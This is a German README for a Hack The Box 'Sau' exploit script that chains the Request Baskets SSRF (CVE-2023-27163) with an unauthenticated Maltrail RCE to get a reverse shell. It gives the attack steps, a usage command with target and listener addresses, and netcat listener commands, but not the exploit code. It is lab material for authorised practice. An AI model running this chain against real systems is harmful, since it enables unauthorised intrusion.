HTB Sau Exploit-Kette — CVE-2023-27163 (SSRF) + Maltrail-RCE-Automatisierung

Ein Python-Exploit-Skript, das CVE-2023-27163 (Server-Side Request Forgery in Request Baskets ≤ 1.2.1) mit einer nicht authentifizierten Remote-Code-Execution-Schwachstelle in Maltrail 0.53 verknüpft und eine Reverse Shell liefert. Entwickelt für die Hack-The-Box-Maschine Sau.

📌 Überblick

Dieses Skript automatisiert den Exploit-Ablauf, der erforderlich ist, um ersten Zugriff auf das Ziel zu erlangen:

1. Ausnutzen von CVE-2023-27163, um einen nutzbaren Bucket-Endpunkt zu erhalten
2. Nutzen des offengelegten Dienstes, um mit Maltrail zu interagieren
3. Auslösen einer nicht authentifizierten RCE in Maltrail
4. Zustellen einer Reverse Shell an die Angreifer-Maschine

⚙️ Verwendung

python3 exploit.py <TARGET_URL> <LISTENER_IP> <LISTENER_PORT>

Beispiel:

python3 exploit.py http://10.10.11.224 10.10.14.6 4444

🎧 Netcat-Listener (Wichtig)

Starte vor der Ausführung des Exploits einen Listener auf deiner Maschine, um die Reverse Shell einzufangen:

nc -lvnp <LISTENER_PORT>

Beispiel:

nc -lvnp 4444

🧩 Parameter

🚀 Exploit-Ablauf

• Ziel-URL normalisieren
• CVE-2023-27163 auslösen, um einen Request-Basket zu erstellen/darauf zuzugreifen
• Den zugänglichen Endpunkt extrahieren (bucket_url)
• Den Bucket nutzen, um mit Maltrail zu interagieren
• Payload ausführen, um eine Reverse Shell zu starten

⚠️ Hinweise

• Stelle sicher, dass dein Listener vor der Ausführung des Skripts läuft
• Entferne das abschließende / aus der Ziel-URL (wird im Skript automatisch behandelt)
• Speziell für die HTB-Sau-Maschine entwickelt — möglicherweise nicht allgemein übertragbar

📚 Referenzen

• CVE-2023-27163 (Request Baskets)
• Maltrail – nicht authentifizierte RCE

🛑 Haftungsausschluss

Dieses Projekt ist für Bildungszwecke und die Verwendung in autorisierten Umgebungen wie Hack The Box gedacht. Verwende es nicht gegen Systeme ohne entsprechende Genehmigung.